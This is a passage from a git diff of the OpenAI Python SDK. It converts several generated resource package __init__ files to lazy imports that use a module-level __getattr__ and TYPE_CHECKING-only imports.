+ AsyncGraders as AsyncGraders,
+ GradersWithRawResponse as GradersWithRawResponse,
+ AsyncGradersWithRawResponse as AsyncGradersWithRawResponse,
+ GradersWithStreamingResponse as GradersWithStreamingResponse,
+ AsyncGradersWithStreamingResponse as AsyncGradersWithStreamingResponse,
+ )
+
+else:
+ _EXPORTS = {
+ "Graders": (".graders", "Graders"),
+ "AsyncGraders": (".graders", "AsyncGraders"),
+ "GradersWithRawResponse": (".graders", "GradersWithRawResponse"),
+ "AsyncGradersWithRawResponse": (".graders", "AsyncGradersWithRawResponse"),
+ "GradersWithStreamingResponse": (".graders", "GradersWithStreamingResponse"),
+ "AsyncGradersWithStreamingResponse": (".graders", "AsyncGradersWithStreamingResponse"),
+ "Alpha": (".alpha", "Alpha"),
+ "AsyncAlpha": (".alpha", "AsyncAlpha"),
+ "AlphaWithRawResponse": (".alpha", "AlphaWithRawResponse"),
+ "AsyncAlphaWithRawResponse": (".alpha", "AsyncAlphaWithRawResponse"),
+ "AlphaWithStreamingResponse": (".alpha", "AlphaWithStreamingResponse"),
+ "AsyncAlphaWithStreamingResponse": (".alpha", "AsyncAlphaWithStreamingResponse"),
+ }
+ _SUBMODULES = {
+ "alpha",
+ "graders",
+ }
+
+ def __getattr__(name: str) -> _t.Any:
+ import importlib
+
+ if name in _EXPORTS:
+ module_name, symbol_name = _EXPORTS[name]
+ value = getattr(importlib.import_module(module_name, __name__), symbol_name)
+ elif name in _SUBMODULES:
+ value = importlib.import_module(f".{name}", __name__)
+ else:
+ raise AttributeError(f"module {__name__!r} has no attribute {name!r}")
+ globals()[name] = value
+ return value
+
+ def __dir__() -> list[str]:
+ return sorted(set(globals()) | set(_EXPORTS) | _SUBMODULES)
+
__all__ = [
"Graders",
diff --git a/src/openai/resources/fine_tuning/checkpoints/__init__.py b/src/openai/resources/fine_tuning/checkpoints/__init__.py
index 8dc7f692c5..b78a86c1c2 100644
--- a/src/openai/resources/fine_tuning/checkpoints/__init__.py
+++ b/src/openai/resources/fine_tuning/checkpoints/__init__.py
@@ -1,21 +1,61 @@
# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
-from .checkpoints import (
- Checkpoints,
- AsyncCheckpoints,
- CheckpointsWithRawResponse,
- AsyncCheckpointsWithRawResponse,
- CheckpointsWithStreamingResponse,
- AsyncCheckpointsWithStreamingResponse,
-)
-from .permissions import (
- Permissions,
- AsyncPermissions,
- PermissionsWithRawResponse,
- AsyncPermissionsWithRawResponse,
- PermissionsWithStreamingResponse,
- AsyncPermissionsWithStreamingResponse,
-)
+import typing as _t
+
+if _t.TYPE_CHECKING:
+ from .checkpoints import (
+ Checkpoints as Checkpoints,
+ AsyncCheckpoints as AsyncCheckpoints,
+ CheckpointsWithRawResponse as CheckpointsWithRawResponse,
+ AsyncCheckpointsWithRawResponse as AsyncCheckpointsWithRawResponse,
+ CheckpointsWithStreamingResponse as CheckpointsWithStreamingResponse,
+ AsyncCheckpointsWithStreamingResponse as AsyncCheckpointsWithStreamingResponse,
+ )
+ from .permissions import (
+ Permissions as Permissions,
+ AsyncPermissions as AsyncPermissions,
+ PermissionsWithRawResponse as PermissionsWithRawResponse,
+ AsyncPermissionsWithRawResponse as AsyncPermissionsWithRawResponse,
+ PermissionsWithStreamingResponse as PermissionsWithStreamingResponse,
+ AsyncPermissionsWithStreamingResponse as AsyncPermissionsWithStreamingResponse,
+ )
+
+else:
+ _EXPORTS = {
+ "Permissions": (".permissions", "Permissions"),
+ "AsyncPermissions": (".permissions", "AsyncPermissions"),
+ "PermissionsWithRawResponse": (".permissions", "PermissionsWithRawResponse"),
+ "AsyncPermissionsWithRawResponse": (".permissions", "AsyncPermissionsWithRawResponse"),
+ "PermissionsWithStreamingResponse": (".permissions", "PermissionsWithStreamingResponse"),
+ "AsyncPermissionsWithStreamingResponse": (".permissions", "AsyncPermissionsWithStreamingResponse"),
+ "Checkpoints": (".checkpoints", "Checkpoints"),
+ "AsyncCheckpoints": (".checkpoints", "AsyncCheckpoints"),
+ "CheckpointsWithRawResponse": (".checkpoints", "CheckpointsWithRawResponse"),
+ "AsyncCheckpointsWithRawResponse": (".checkpoints", "AsyncCheckpointsWithRawResponse"),
+ "CheckpointsWithStreamingResponse": (".checkpoints", "CheckpointsWithStreamingResponse"),
+ "AsyncCheckpointsWithStreamingResponse": (".checkpoints", "AsyncCheckpointsWithStreamingResponse"),
+ }
+ _SUBMODULES = {
+ "checkpoints",
+ "permissions",
+ }
+
+ def __getattr__(name: str) -> _t.Any:
+ import importlib
+
+ if name in _EXPORTS:
+ module_name, symbol_name = _EXPORTS[name]
+ value = getattr(importlib.import_module(module_name, __name__), symbol_name)
+ elif name in _SUBMODULES:
+ value = importlib.import_module(f".{name}", __name__)
+ else:
+ raise AttributeError(f"module {__name__!r} has no attribute {name!r}")
+ globals()[name] = value
+ return value
+
+ def __dir__() -> list[str]:
+ return sorted(set(globals()) | set(_EXPORTS) | _SUBMODULES)
+
__all__ = [
"Permissions",
diff --git a/src/openai/resources/fine_tuning/jobs/__init__.py b/src/openai/resources/fine_tuning/jobs/__init__.py
index 543fa8cece..06b7c3ff58 100644
--- a/src/openai/resources/fine_tuning/jobs/__init__.py
+++ b/src/openai/resources/fine_tuning/jobs/__init__.py
@@ -1,21 +1,61 @@
# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
-from .jobs import (
- Jobs,
- AsyncJobs,
- JobsWithRawResponse,
- AsyncJobsWithRawResponse,
- JobsWithStreamingResponse,
- AsyncJobsWithStreamingResponse,
-)
-from .checkpoints import (
- Checkpoints,
- AsyncCheckpoints,
- CheckpointsWithRawResponse,
- AsyncCheckpointsWithRawResponse,
- CheckpointsWithStreamingResponse,
- AsyncCheckpointsWithStreamingResponse,
-)
+import typing as _t
+
+if _t.TYPE_CHECKING:
+ from .jobs import (
+ Jobs as Jobs,
+ AsyncJobs as AsyncJobs,
+ JobsWithRawResponse as JobsWithRawResponse,
+ AsyncJobsWithRawResponse as AsyncJobsWithRawResponse,
+ JobsWithStreamingResponse as JobsWithStreamingResponse,
+ AsyncJobsWithStreamingResponse as AsyncJobsWithStreamingResponse,
+ )
+ from .checkpoints import (
+ Checkpoints as Checkpoints,
+ AsyncCheckpoints as AsyncCheckpoints,
+ CheckpointsWithRawResponse as CheckpointsWithRawResponse,
+ AsyncCheckpointsWithRawResponse as AsyncCheckpointsWithRawResponse,
+ CheckpointsWithStreamingResponse as CheckpointsWithStreamingResponse,
+ AsyncCheckpointsWithStreamingResponse as AsyncCheckpointsWithStreamingResponse,
+ )
+
+else:
+ _EXPORTS = {
+ "Checkpoints": (".checkpoints", "Checkpoints"),
+ "AsyncCheckpoints": (".checkpoints", "AsyncCheckpoints"),
+ "CheckpointsWithRawResponse": (".checkpoints", "CheckpointsWithRawResponse"),
+ "AsyncCheckpointsWithRawResponse": (".checkpoints", "AsyncCheckpointsWithRawResponse"),
+ "CheckpointsWithStreamingResponse": (".checkpoints", "CheckpointsWithStreamingResponse"),
+ "AsyncCheckpointsWithStreamingResponse": (".checkpoints", "AsyncCheckpointsWithStreamingResponse"),
+ "Jobs": (".jobs", "Jobs"),
+ "AsyncJobs": (".jobs", "AsyncJobs"),
+ "JobsWithRawResponse": (".jobs", "JobsWithRawResponse"),
+ "AsyncJobsWithRawResponse": (".jobs", "AsyncJobsWithRawResponse"),
+ "JobsWithStreamingResponse": (".jobs", "JobsWithStreamingResponse"),
+ "AsyncJobsWithStreamingResponse": (".jobs", "AsyncJobsWithStreamingResponse"),
+ }
+ _SUBMODULES = {
+ "checkpoints",
+ "jobs",
+ }
+
+ def __getattr__(name: str) -> _t.Any:
+ import importlib
+
+ if name in _EXPORTS:
+ module_name, symbol_name = _EXPORTS[name]
+ value = getattr(importlib.import_module(module_name, __name__), symbol_name)
+ elif name in _SUBMODULES:
+ value = importlib.import_module(f".{name}", __name__)
+ else:
+ raise AttributeError(f"module {__name__!r} has no attribute {name!r}")
+ globals()[name] = value
+ return value
+
+ def __dir__() -> list[str]:
+ return sorted(set(globals()) | set(_EXPORTS) | _SUBMODULES)
+
__all__ = [
"Checkpoints",
diff --git a/src/openai/resources/live/__init__.py b/src/openai/resources/live/__init__.py
index 1c560f6da1..99571a6a55 100644
--- a/src/openai/resources/live/__init__.py
+++ b/src/openai/resources/live/__init__.py
@@ -1,23 +1,75 @@
# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
-from .live import (
- Live,
- AsyncLive,
- LiveWithRawResponse,
- AsyncLiveWithRawResponse,
- LiveWithStreamingResponse,
- AsyncLiveWithStreamingResponse,
-)
-from .forks import Forks, AsyncForks
-from .sessions import (
- Sessions,
- AsyncSessions,
- SessionsWithRawResponse,
- AsyncSessionsWithRawResponse,
- SessionsWithStreamingResponse,
- AsyncSessionsWithStreamingResponse,
-)
-from .sideband import Sideband, AsyncSideband
+import typing as _t
+
+if _t.TYPE_CHECKING:
+ from .live import (
+ Live as Live,
+ AsyncLive as AsyncLive,
+ LiveWithRawResponse as LiveWithRawResponse,
+ AsyncLiveWithRawResponse as AsyncLiveWithRawResponse,
+ LiveWithStreamingResponse as LiveWithStreamingResponse,
+ AsyncLiveWithStreamingResponse as AsyncLiveWithStreamingResponse,
+ )
+ from .forks import (
+ Forks as Forks,
+ AsyncForks as AsyncForks,
+ )
+ from .sessions import (
+ Sessions as Sessions,
+ AsyncSessions as AsyncSessions,
+ SessionsWithRawResponse as SessionsWithRawResponse,
+ AsyncSessionsWithRawResponse as AsyncSessionsWithRawResponse,
+ SessionsWithStreamingResponse as SessionsWithStreamingResponse,
+ AsyncSessionsWithStreamingResponse as AsyncSessionsWithStreamingResponse,
+ )
+ from .sideband import (
+ Sideband as Sideband,
+ AsyncSideband as AsyncSideband,
+ )
+
+else:
+ _EXPORTS = {
+ "Sideband": (".sideband", "Sideband"),
+ "AsyncSideband": (".sideband", "AsyncSideband"),
+ "Forks": (".forks", "Forks"),
+ "AsyncForks": (".forks", "AsyncForks"),
+ "Sessions": (".sessions", "Sessions"),
+ "AsyncSessions": (".sessions", "AsyncSessions"),
+ "SessionsWithRawResponse": (".sessions", "SessionsWithRawResponse"),
+ "AsyncSessionsWithRawResponse": (".sessions", "AsyncSessionsWithRawResponse"),
+ "SessionsWithStreamingResponse": (".sessions", "SessionsWithStreamingResponse"),
+ "AsyncSessionsWithStreamingResponse": (".sessions", "AsyncSessionsWithStreamingResponse"),
+ "Live": (".live", "Live"),
+ "AsyncLive": (".live", "AsyncLive"),
+ "LiveWithRawResponse": (".live", "LiveWithRawResponse"),
+ "AsyncLiveWithRawResponse": (".live", "AsyncLiveWithRawResponse"),
+ "LiveWithStreamingResponse": (".live", "LiveWithStreamingResponse"),
+ "AsyncLiveWithStreamingResponse": (".live", "AsyncLiveWithStreamingResponse"),
+ }
+ _SUBMODULES = {
+ "forks",
+ "live",
+ "sessions",
+ "sideband",
+ }
+
+ def __getattr__(name: str) -> _t.Any:
+ import importlib
+
+ if name in _EXPORTS:
+ module_name, symbol_name = _EXPORTS[name]
+ value = getattr(importlib.import_module(module_name, __name__), symbol_name)
+ elif name in _SUBMODULES:
+ value = importlib.import_module(f".{name}", __name__)
+ else:
+ raise AttributeError(f"module {__name__!r} has no attribute {name!r}")
+ globals()[name] = value
+ return value
+
+ def __dir__() -> list[str]:
+ return sorted(set(globals()) | set(_EXPORTS) | _SUBMODULES)
+
__all__ = [
"Sideband",
diff --git a/src/openai/resources/realtime/__init__.py b/src/openai/resources/realtime/__init__.py
index 8b823e57ca..0b5722e9a2 100644
--- a/src/openai/resources/realtime/__init__.py
+++ b/src/openai/resources/realtime/__init__.py
@@ -1,29 +1,76 @@
# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
-from .calls import (
- Calls,
- AsyncCalls,
- CallsWithRawResponse,
- AsyncCallsWithRawResponse,
- CallsWithStreamingResponse,
- AsyncCallsWithStreamingResponse,
-)
-from .realtime import (
- Realtime,
- AsyncRealtime,
- RealtimeWithRawResponse,
- AsyncRealtimeWithRawResponse,
- RealtimeWithStreamingResponse,
- AsyncRealtimeWithStreamingResponse,
-)
-from .client_secrets import (
- ClientSecrets,
- AsyncClientSecrets,
- ClientSecretsWithRawResponse,
- AsyncClientSecretsWithRawResponse,
- ClientSecretsWithStreamingResponse,
- AsyncClientSecretsWithStreamingResponse,
-)
+import typing as _t
+
+if _t.TYPE_CHECKING:
+ from .calls import (
+ Calls as Calls,
+ AsyncCalls as AsyncCalls,
+ CallsWithRawResponse as CallsWithRawResponse,
+ AsyncCallsWithRawResponse as AsyncCallsWithRawResponse,
+ CallsWithStreamingResponse as CallsWithStreamingResponse,
+ AsyncCallsWithStreamingResponse as AsyncCallsWithStreamingResponse,
+ )
+ from .realtime import (
+ Realtime as Realtime,
+ AsyncRealtime as AsyncRealtime,
+ RealtimeWithRawResponse as RealtimeWithRawResponse,
+ AsyncRealtimeWithRawResponse as AsyncRealtimeWithRawResponse,
+ RealtimeWithStreamingResponse as RealtimeWithStreamingResponse,
+ AsyncRealtimeWithStreamingResponse as AsyncRealtimeWithStreamingResponse,
+ )
+ from .client_secrets import (
+ ClientSecrets as ClientSecrets,
+ AsyncClientSecrets as AsyncClientSecrets,
+ ClientSecretsWithRawResponse as ClientSecretsWithRawResponse,
+ AsyncClientSecretsWithRawResponse as AsyncClientSecretsWithRawResponse,
+ ClientSecretsWithStreamingResponse as ClientSecretsWithStreamingResponse,
+ AsyncClientSecretsWithStreamingResponse as AsyncClientSecretsWithStreamingResponse,
+ )
+
+else:
+ _EXPORTS = {
+ "ClientSecrets": (".client_secrets", "ClientSecrets"),
+ "AsyncClientSecrets": (".client_secrets", "AsyncClientSecrets"),
+ "ClientSecretsWithRawResponse": (".client_secrets", "ClientSecretsWithRawResponse"),
+ "AsyncClientSecretsWithRawResponse": (".client_secrets", "AsyncClientSecretsWithRawResponse"),
+ "ClientSecretsWithStreamingResponse": (".client_secrets", "ClientSecretsWithStreamingResponse"),
+ "AsyncClientSecretsWithStreamingResponse": (".client_secrets", "AsyncClientSecretsWithStreamingResponse"),
+ "Calls": (".calls", "Calls"),
+ "AsyncCalls": (".calls", "AsyncCalls"),
+ "CallsWithRawResponse": (".calls", "CallsWithRawResponse"),
+ "AsyncCallsWithRawResponse": (".calls", "AsyncCallsWithRawResponse"),
+ "CallsWithStreamingResponse": (".calls", "CallsWithStreamingResponse"),
+ "AsyncCallsWithStreamingResponse": (".calls", "AsyncCallsWithStreamingResponse"),
+ "Realtime": (".realtime", "Realtime"),
+ "AsyncRealtime": (".realtime", "AsyncRealtime"),
+ "RealtimeWithRawResponse": (".realtime", "RealtimeWithRawResponse"),
+ "AsyncRealtimeWithRawResponse": (".realtime", "AsyncRealtimeWithRawResponse"),
+ "RealtimeWithStreamingResponse": (".realtime", "RealtimeWithStreamingResponse"),
+ "AsyncRealtimeWithStreamingResponse": (".realtime", "AsyncRealtimeWithStreamingResponse"),
+ }
+ _SUBMODULES = {
+ "calls",
+ "client_secrets",
+ "realtime",
+ }
+
+ def __getattr__(name: str) -> _t.Any:
+ import importlib
+
+ if name in _EXPORTS:
+ module_name, symbol_name = _EXPORTS[name]
+ value = getattr(importlib.import_module(module_name, __name__), symbol_name)
+ elif name in _SUBMODULES:
+ value = importlib.import_module(f".{name}", __name__)
+ else:
+ raise AttributeError(f"module {__name__!r} has no attribute {name!r}")
+ globals()[name] = value
+ return value
+
+ def __dir__() -> list[str]:
+ return sorted(set(globals()) | set(_EXPORTS) | _SUBMODULES)
+
__all__ = [
"ClientSecrets",
diff --git a/src/openai/resources/responses/__init__.py b/src/openai/resources/responses/__init__.py
index 1b7c209a7d..d8eb8df8b0 100644
--- a/src/openai/resources/responses/__init__.py
+++ b/src/openai/resources/responses/__init__.py
@@ -1,29 +1,76 @@
# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
-from .responses import (
- Responses,
- AsyncResponses,
- ResponsesWithRawResponse,
- AsyncResponsesWithRawResponse,
- ResponsesWithStreamingResponse,
- AsyncResponsesWithStreamingResponse,
-)
-from .input_items import (
- InputItems,
- AsyncInputItems,
- InputItemsWithRawResponse,
- AsyncInputItemsWithRawResponse,
- InputItemsWithStreamingResponse,
- AsyncInputItemsWithStreamingResponse,
-)
-from .input_tokens import (
- InputTokens,
- AsyncInputTokens,
- InputTokensWithRawResponse,
- AsyncInputTokensWithRawResponse,
- InputTokensWithStreamingResponse,
- AsyncInputTokensWithStreamingResponse,
-)
+import typing as _t
+
+if _t.TYPE_CHECKING:
+ from .responses import (
+ Responses as Responses,
+ AsyncResponses as AsyncResponses,
+ ResponsesWithRawResponse as ResponsesWithRawResponse,
+ AsyncResponsesWithRawResponse as AsyncResponsesWithRawResponse,
+ ResponsesWithStreamingResponse as ResponsesWithStreamingResponse,
+ AsyncResponsesWithStreamingResponse as AsyncResponsesWithStreamingResponse,
+ )
+ from .input_items import (
+ InputItems as InputItems,
+ AsyncInputItems as AsyncInputItems,
+ InputItemsWithRawResponse as InputItemsWithRawResponse,
+ AsyncInputItemsWithRawResponse as AsyncInputItemsWithRawResponse,
+ InputItemsWithStreamingResponse as InputItemsWithStreamingResponse,
+ AsyncInputItemsWithStreamingResponse as AsyncInputItemsWithStreamingResponse,
+ )
+ from .input_tokens import (
+ InputTokens as InputTokens,
+ AsyncInputTokens as AsyncInputTokens,
+ InputTokensWithRawResponse as InputTokensWithRawResponse,
+ AsyncInputTokensWithRawResponse as AsyncInputTokensWithRawResponse,
+ InputTokensWithStreamingResponse as InputTokensWithStreamingResponse,
+ AsyncInputTokensWithStreamingResponse as AsyncInputTokensWithStreamingResponse,
+ )
+
+else:
+ _EXPORTS = {
+ "InputItems": (".input_items", "InputItems"),
+ "AsyncInputItems": (".input_items", "AsyncInputItems"),
+ "InputItemsWithRawResponse": (".input_items", "InputItemsWithRawResponse"),
+ "AsyncInputItemsWithRawResponse": (".input_items", "AsyncInputItemsWithRawResponse"),
+ "InputItemsWithStreamingResponse": (".input_items", "InputItemsWithStreamingResponse"),
+ "AsyncInputItemsWithStreamingResponse": (".input_items", "AsyncInputItemsWithStreamingResponse"),
+ "InputTokens": (".input_tokens", "InputTokens"),
+ "AsyncInputTokens": (".input_tokens", "AsyncInputTokens"),
+ "InputTokensWithRawResponse": (".input_tokens", "InputTokensWithRawResponse"),
+ "AsyncInputTokensWithRawResponse": (".input_tokens", "AsyncInputTokensWithRawResponse"),
+ "InputTokensWithStreamingResponse": (".input_tokens", "InputTokensWithStreamingResponse"),
+ "AsyncInputTokensWithStreamingResponse": (".input_tokens", "AsyncInputTokensWithStreamingResponse"),
+ "Responses": (".responses", "Responses"),
+ "AsyncResponses": (".responses", "AsyncResponses"),
+ "ResponsesWithRawResponse": (".responses", "ResponsesWithRawResponse"),
+ "AsyncResponsesWithRawResponse": (".responses", "AsyncResponsesWithRawResponse"),
+ "ResponsesWithStreamingResponse": (".responses", "ResponsesWithStreamingResponse"),
+ "AsyncResponsesWithStreamingResponse": (".responses", "AsyncResponsesWithStreamingResponse"),
+ }
+ _SUBMODULES = {
+ "input_items",
+ "input_tokens",
+ "responses",
+ }
+
+ def __getattr__(name: str) -> _t.Any:
+ import importlib
+
+ if name in _EXPORTS:
+ module_name, symbol_name = _EXPORTS[name]
+ value = getattr(importlib.import_module(module_name, __name__), symbol_name)
+ elif name in _SUBMODULES:
+ value = importlib.import_module(f".{name}", __name__)
+ else:
+ raise AttributeError(f"module {__name__!r} has no attribute {name!r}")
+ globals()[name] = value
+ return value
+
+ def __dir__() -> list[str]:
+ return sorted(set(globals()) | set(_EXPORTS) | _SUBMODULES)
+
__all__ = [
"InputItems",
diff --git a/src/openai/resources/safety/__init__.py b/src/openai/resources/safety/__init__.py
index 542e420db4..696de547f5 100644
--- a/src/openai/resources/safety/__init__.py
+++ b/src/openai/resources/safety/__init__.py
@@ -1,21 +1,61 @@
# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
-from .alerts import (
- Alerts,
- AsyncAlerts,
- AlertsWithRawResponse,
- AsyncAlertsWithRawResponse,
- AlertsWithStreamingResponse,
- AsyncAlertsWithStreamingResponse,
-)
-from .safety import (
- Safety,
- AsyncSafety,
- SafetyWithRawResponse,
- AsyncSafetyWithRawResponse,
- SafetyWithStreamingResponse,
- AsyncSafetyWithStreamingResponse,
-)
+import typing as _t
+
+if _t.TYPE_CHECKING:
+ from .alerts import (
+ Alerts as Alerts,
+ AsyncAlerts as AsyncAlerts,
+ AlertsWithRawResponse as AlertsWithRawResponse,
+ AsyncAlertsWithRawResponse as AsyncAlertsWithRawResponse,
+ AlertsWithStreamingResponse as AlertsWithStreamingResponse,
+ AsyncAlertsWithStreamingResponse as AsyncAlertsWithStreamingResponse,
+ )
+ from .safety import (
+ Safety as Safety,
+ AsyncSafety as AsyncSafety,
+ SafetyWithRawResponse as SafetyWithRawResponse,
+ AsyncSafetyWithRawResponse as AsyncSafetyWithRawResponse,
+ SafetyWithStreamingResponse as SafetyWithStreamingResponse,
+ AsyncSafetyWithStreamingResponse as AsyncSafetyWithStreamingResponse,
+ )
+
+else:
+ _EXPORTS = {
+ "Alerts": (".alerts", "Alerts"),
+ "AsyncAlerts": (".alerts", "AsyncAlerts"),
+ "AlertsWithRawResponse": (".alerts", "AlertsWithRawResponse"),
+ "AsyncAlertsWithRawResponse": (".alerts", "AsyncAlertsWithRawResponse"),
+ "AlertsWithStreamingResponse": (".alerts", "AlertsWithStreamingResponse"),
+ "AsyncAlertsWithStreamingResponse": (".alerts", "AsyncAlertsWithStreamingResponse"),
+ "Safety": (".safety", "Safety"),
+ "AsyncSafety": (".safety", "AsyncSafety"),
+ "SafetyWithRawResponse": (".safety", "SafetyWithRawResponse"),
+ "AsyncSafetyWithRawResponse": (".safety", "AsyncSafetyWithRawResponse"),
+ "SafetyWithStreamingResponse": (".safety", "SafetyWithStreamingResponse"),
+ "AsyncSafetyWithStreamingResponse": (".safety", "AsyncSafetyWithStreamingResponse"),
+ }
+ _SUBMODULES = {
+ "alerts",
+ "safety",
+ }
+
+ def __getattr__(name: str) -> _t.Any:
+ import importlib
+
+ if name in _EXPORTS:
+ module_name, symbol_name = _EXPORTS[name]
+ value = getattr(importlib.import_module(module_name, __name__), symbol_name)
+ elif name in _SUBMODULES:
+ value = importlib.import_module(f".{name}", __name__)
+ else:
+ raise AttributeError(f"module {__name__!r} has no attribute {name!r}")
+ globals()[name] = value
+ return value
+
+ def __dir__() -> list[str]:
+ return sorted(set(globals()) | set(_EXPORTS) | _SUBMODULES)
+
__all__ = [
"Alerts",
diff --git a/src/openai/resources/skills/__init__.py b/src/openai/resources/skills/__init__.py
index cb44bdb984..84b69f32c8 100644
--- a/src/openai/resources/skills/__init__.py
+++ b/src/openai/resources/skills/__init__.py
@@ -1,29 +1,76 @@
# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
-from .skills import (
- Skills,
- AsyncSkills,
- SkillsWithRawResponse,
- AsyncSkillsWithRawResponse,
- SkillsWithStreamingResponse,
- AsyncSkillsWithStreamingResponse,
-)
-from .content import (
- Content,
- AsyncContent,
- ContentWithRawResponse,
- AsyncContentWithRawResponse,
- ContentWithStreamingResponse,
- AsyncContentWithStreamingResponse,
-)
-from .versions import (
- Versions,
- AsyncVersions,
- VersionsWithRawResponse,
- AsyncVersionsWithRawResponse,
- VersionsWithStreamingResponse,
- AsyncVersionsWithStreamingResponse,
-)
+import typing as _t
+
+if _t.TYPE_CHECKING:
+ from .skills import (
+ Skills as Skills,
+ AsyncSkills as AsyncSkills,
+ SkillsWithRawResponse as SkillsWithRawResponse,
+ AsyncSkillsWithRawResponse as AsyncSkillsWithRawResponse,
+ SkillsWithStreamingResponse as SkillsWithStreamingResponse,
+ AsyncSkillsWithStreamingResponse as AsyncSkillsWithStreamingResponse,
+ )
+ from .content import (
+ Content as Content,
+ AsyncContent as AsyncContent,
+ ContentWithRawResponse as ContentWithRawResponse,
+ AsyncContentWithRawResponse as AsyncContentWithRawResponse,
+ ContentWithStreamingResponse as ContentWithStreamingResponse,
+ AsyncContentWithStreamingResponse as AsyncContentWithStreamingResponse,
+ )
+ from .versions import (
+ Versions as Versions,
+ AsyncVersions as AsyncVersions,
+ VersionsWithRawResponse as VersionsWithRawResponse,
+ AsyncVersionsWithRawResponse as AsyncVersionsWithRawResponse,
+ VersionsWithStreamingResponse as VersionsWithStreamingResponse,
+ AsyncVersionsWithStreamingResponse as AsyncVersionsWithStreamingResponse,
+ )
+
+else:
+ _EXPORTS = {
+ "Content": (".content", "Content"),
+ "AsyncContent": (".content", "AsyncContent"),
+ "ContentWithRawResponse": (".content", "ContentWithRawResponse"),
+ "AsyncContentWithRawResponse": (".content", "AsyncContentWithRawResponse"),
+ "ContentWithStreamingResponse": (".content", "ContentWithStreamingResponse"),
+ "AsyncContentWithStreamingResponse": (".content", "AsyncContentWithStreamingResponse"),
+ "Versions": (".versions", "Versions"),
+ "AsyncVersions": (".versions", "AsyncVersions"),
+ "VersionsWithRawResponse": (".versions", "VersionsWithRawResponse"),
+ "AsyncVersionsWithRawResponse": (".versions", "AsyncVersionsWithRawResponse"),
+ "VersionsWithStreamingResponse": (".versions", "VersionsWithStreamingResponse"),
+ "AsyncVersionsWithStreamingResponse": (".versions", "AsyncVersionsWithStreamingResponse"),
+ "Skills": (".skills", "Skills"),
+ "AsyncSkills": (".skills", "AsyncSkills"),
+ "SkillsWithRawResponse": (".skills", "SkillsWithRawResponse"),
+ "AsyncSkillsWithRawResponse": (".skills", "AsyncSkillsWithRawResponse"),
+ "SkillsWithStreamingResponse": (".skills", "SkillsWithStreamingResponse"),
+ "AsyncSkillsWithStreamingResponse": (".skills", "AsyncSkillsWithStreamingResponse"),
+ }
+ _SUBMODULES = {
+ "content",
+ "skills",
+ "versions",
+ }
+
+ def __getattr__(name: str) -> _t.Any:
+ import importlib
+
+ if name in _EXPORTS:
+ module_name, symbol_name = _EXPORTS[name]
+ value = getattr(importlib.import_module(module_name, __name__), symbol_name)
+ elif name in _SUBMODULES:
+ value = importlib.import_module(f".{name}", __name__)
+ else:
+ raise AttributeError(f"module {__name__!r} has no attribute {name!r}")
+ globals()[name] = value
+ return value
+
+ def __dir__() -> list[str]:
+ return sorted(set(globals()) | set(_EXPORTS) | _SUBMODULES)
+
__all__ = [
"Content",
diff --git a/src/openai/resources/skills/versions/__init__.py b/src/openai/resources/skills/versions/__init__.py
index 34877efb8b..7bde33e9d0 100644
--- a/src/openai/resources/skills/versions/__init__.py
+++ b/src/openai/resources/skills/versions/__init__.py
@@ -1,21 +1,61 @@
# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
-from .content import (
- Content,
- AsyncContent,
- ContentWithRawResponse,
- AsyncContentWithRawResponse,
- ContentWithStreamingResponse,
- AsyncContentWithStreamingResponse,
-)
-from .versions import (
- Versions,
- AsyncVersions,
- VersionsWithRawResponse,
- AsyncVersionsWithRawResponse,
- VersionsWithStreamingResponse,
- AsyncVersionsWithStreamingResponse,
-)
+import typing as _t
+
+if _t.TYPE_CHECKING:
+ from .content import (
+ Content as Content,
+ AsyncContent as AsyncContent,
+ ContentWithRawResponse as ContentWithRawResponse,
+ AsyncContentWithRawResponse as AsyncContentWithRawResponse,
+ ContentWithStreamingResponse as ContentWithStreamingResponse,
+ AsyncContentWithStreamingResponse as AsyncContentWithStreamingResponse,
+ )
+ from .versions import (
+ Versions as Versions,
+ AsyncVersions as AsyncVersions,
+ VersionsWithRawResponse as VersionsWithRawResponse,
+ AsyncVersionsWithRawResponse as AsyncVersionsWithRawResponse,
+ VersionsWithStreamingResponse as VersionsWithStreamingResponse,
+ AsyncVersionsWithStreamingResponse as AsyncVersionsWithStreamingResponse,
+ )
+
+else:
+ _EXPORTS = {
+ "Content": (".content", "Content"),
+ "AsyncContent": (".content", "AsyncContent"),
+ "ContentWithRawResponse": (".content", "ContentWithRawResponse"),
+ "AsyncContentWithRawResponse": (".content", "AsyncContentWithRawResponse"),
+ "ContentWithStreamingResponse": (".content", "ContentWithStreamingResponse"),
+ "AsyncContentWithStreamingResponse": (".content", "AsyncContentWithStreamingResponse"),
+ "Versions": (".versions", "Versions"),
+ "AsyncVersions": (".versions", "AsyncVersions"),
+ "VersionsWithRawResponse": (".versions", "VersionsWithRawResponse"),
+ "AsyncVersionsWithRawResponse": (".versions", "AsyncVersionsWithRawResponse"),
+ "VersionsWithStreamingResponse": (".versions", "VersionsWithStreamingResponse"),
+ "AsyncVersionsWithStreamingResponse": (".versions", "AsyncVersionsWithStreamingResponse"),
+ }
+ _SUBMODULES = {
+ "content",
+ "versions",
+ }
+
+ def __getattr__(name: str) -> _t.Any:
+ import importlib
+
+ if name in _EXPORTS:
+ module_name, symbol_name = _EXPORTS[name]
+ value = getattr(importlib.import_module(module_name, __name__), symbol_name)
+ elif name in _SUBMODULES:
+ value = importlib.import_module(f".{name}", __name__)
+ else:
+ raise AttributeError(f"module {__name__!r} has no attribute {name!r}")
+ globals()[name] = value
+ return value
+
+ def __dir__() -> list[str]:
+ return sorted(set(globals()) | set(_EXPORTS) | _SUBMODULES)
+
__all__ = [
"Content",
diff --git a/src/openai/resources/uploads/__init__.py b/src/openai/resources/uploads/__init__.py
index 80ef669a9d..2685efc5ec 100644
--- a/src/openai/resources/uploads/__init__.py
+++ b/src/openai/resources/uploads/__init__.py
@@ -1,21 +1,61 @@
# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
-from .parts import (
- Parts,
- AsyncParts,
- PartsWithRawResponse,
- AsyncPartsWithRawResponse,
- PartsWithStreamingResponse,
- AsyncPartsWithStreamingResponse,
-)
-from .uploads import (
- Uploads,
- AsyncUploads,
- UploadsWithRawResponse,
